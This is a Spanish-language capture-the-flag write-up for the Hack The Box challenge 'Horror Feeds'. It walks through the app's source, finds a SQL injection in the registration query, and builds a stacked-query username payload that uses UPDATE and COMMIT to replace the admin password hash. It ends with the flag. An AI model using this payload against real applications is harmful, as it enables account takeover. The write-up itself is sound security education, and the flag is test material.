Horror Feeds
4 minutos de lectura
Se nos proporciona esta página web:
Análisis de código estático
También se nos proporciona el código fuente en Python de la aplicación web, hecha en Flask. Como estamos tratando con un formulario de inicio de sesión, vamos a echar un vistazo a cómo se interactúa con la base de datos (application/database.py
):
from colorama import Cursor
from application.util import generate_password_hash, verify_hash, generate_token
from flask_mysqldb import MySQL
mysql = MySQL()
def query_db(query, args=(), one=False):
with open('/tmp/log', 'a') as f:
f.write(query + '\n')
cursor = mysql.connection.cursor()
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
return (rv[0] if rv else None) if one else rv
def login(username, password):
user = query_db('SELECT password FROM users WHERE username = %s', (username,), one=True)
if user:
password_check = verify_hash(password, user.get('password'))
if password_check:
token = generate_token(username)
return token
else:
return False
else:
return False
def register(username, password):
exists = query_db('SELECT * FROM users WHERE username = %s', (username,))
if exists:
return False
hashed = generate_password_hash(password)
query_db(f'INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")')
mysql.connection.commit()
return True
De hecho, hay algo explotable aquí.
Inyección de código SQL
La función register
es vulnerable a inyección de código SQL porque la variable username
se inserta directamente en la consulta, sin sanitización ni consultas preparadas (como el resto de las consultas del código).
La vulnerabilidad aparece porque podemos introducir un nombre de usuario que contenga una comilla doble para escapar del contexto. Por ejemplo, si usamos asdf", "password")-- -
como nombre de usuario, esta sería la consulta SQL resultante:
INSERT INTO users (username, password) VALUES ("asdf", "password")-- -", "{hashed}")
Si miramos en entrypoint.sh
, podemos ver cómo está configurada la base de datos:
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
# Initialize & Start MariaDB
mkdir -p /run/mysqld
chown -R mysql:mysql /run/mysqld
mysql_install_db --user=mysql --ldata=/var/lib/mysql
mysqld --user=mysql --console --skip-networking=0 &
# Wait for mysql to start
while ! mysqladmin ping -h'localhost' --silent; do echo 'not up' && sleep .2; done
mysql -u root << EOF
CREATE DATABASE horror_feeds;
CREATE TABLE horror_feeds.users (
id INTEGER PRIMARY KEY AUTO_INCREMENT,
username varchar(255) NOT NULL UNIQUE,
password varchar(255) NOT NULL
);
INSERT INTO horror_feeds.users (username, password) VALUES ('admin', '$2a$12$BHVtAvXDP1xgjkGEoeqRTu2y4mycnpd6If0j/WbP0PCjwW4CKdq6G');
CREATE USER 'user'@'localhost' IDENTIFIED BY 'M@k3l@R!d3s$';
GRANT SELECT, INSERT, UPDATE ON horror_feeds.users TO 'user'@'localhost';
FLUSH PRIVILEGES;
EOF
/usr/bin/supervisord -c /etc/supervisord.conf
Vemos que el usuario de la base de datos puede ejecutar SELECT
, INSERT
y UPDATE
. Además, el atributo USERNAME
tiene que ser único.
Función de hash
El servidor utiliza bcrypt
para calcular los hashes de contraseñas (application/util.py
):
def generate_password_hash(password):
salt = bcrypt.gensalt()
return bcrypt.hashpw(password.encode(), salt).decode()
def verify_hash(password, passhash):
return bcrypt.checkpw(password.encode(), passhash.encode())
Vamos a calcular un hash para asdf
:
$ python3 -q
>>> import bcrypt
>>> bcrypt.hashpw(b'asdf', bcrypt.gensalt())
b'$2b$12$lUMUckkeJqTGd.2ffCNH/uHuqmvId5PtzayQgYX4jBsYE6RUSFiNO'
Explotación
La flag aparecerá si nos autenticamos como admin
(que es un usuario que ya está guardado en la base de datos, con una contraseña desconocida):
{% if user == 'admin' %}
<div class="container-lg mt-5 pt-5">
<h5 class="m-3 ms-0">Firmware Settings</h5>
<h6 class="m-4 ms-0 text-grey">Upgrade Firmware</h6>
<div class="d-flex align-items-center">
<img src="/static/images/folder.png" height="25px" class="sw-img">
<span class="fw-bold sw-text">Software Folder</span>
<input type="text" class="form-control sw-path" value="/opt/horrorfeeds/Firmware/" disabled>
</div>
<table class="table table-hover fw-table text-center">
<!-- ... -->
<tr class="table-active">
<th>
<input class="form-check-input fw-cam-radio" type="checkbox" checked disabled>
</th>
<td>5</td>
<td>192.251.68.6</td>
<td>NV360</td>
<td>{{flag}}</td>
<td></td>
<td></td>
<td>admin</td>
<!-- ... -->
</table>
<div class="d-flex justify-content-end mt-3 mb-3">
<button class="btn btn-info fw-update-btn me-3">Upgrade Selected</button>
<button class="btn btn-danger fw-update-btn">Disable Feeds</button>
</div>
</div>
{% endif %}
<!-- ... -->
Entonces, la idea es actualizar el hash de admin
, de manera que podamos acceder como admin
usando asdf
como contraseña. Por tanto, tenemos que introducir el siguiente payload como nombre de usuario:
x", "x"); UPDATE users SET password="$2b$12$lUMUckkeJqTGd.2ffCNH/uHuqmvId5PtzayQgYX4jBsYE6RUSFiNO"-- -
De manera que la consulta SQL queda así:
INSERT INTO users (username, password) VALUES ("x", "x"); UPDATE users SET password="$2b$12$lUMUckkeJqTGd.2ffCNH/uHuqmvId5PtzayQgYX4jBsYE6RUSFiNO"-- -", "{hashed}")
No obstante, el payload anterior no está completo. La sentencia UPDATE
no será ejecutada debido a cómo funcionan las transacciones SQL. Por defecto, una consulta tiene que realizar una única operación en la base de datos (modelo ACID). Para forzar que se ejecute la sentencia UPDATE
, tenemos que poner COMMIT
al final:
x", "x"); UPDATE users SET password="$2b$12$lUMUckkeJqTGd.2ffCNH/uHuqmvId5PtzayQgYX4jBsYE6RUSFiNO"; COMMIT-- -
Después de esto, tenemos acceso como admin
usando asdf
como contraseña:
Flag
Y aquí tenemos la flag (HTB{1ns3rt_int0_sql1_1s_ind33d_w0rs3_th4n_s3l3ct!!}
):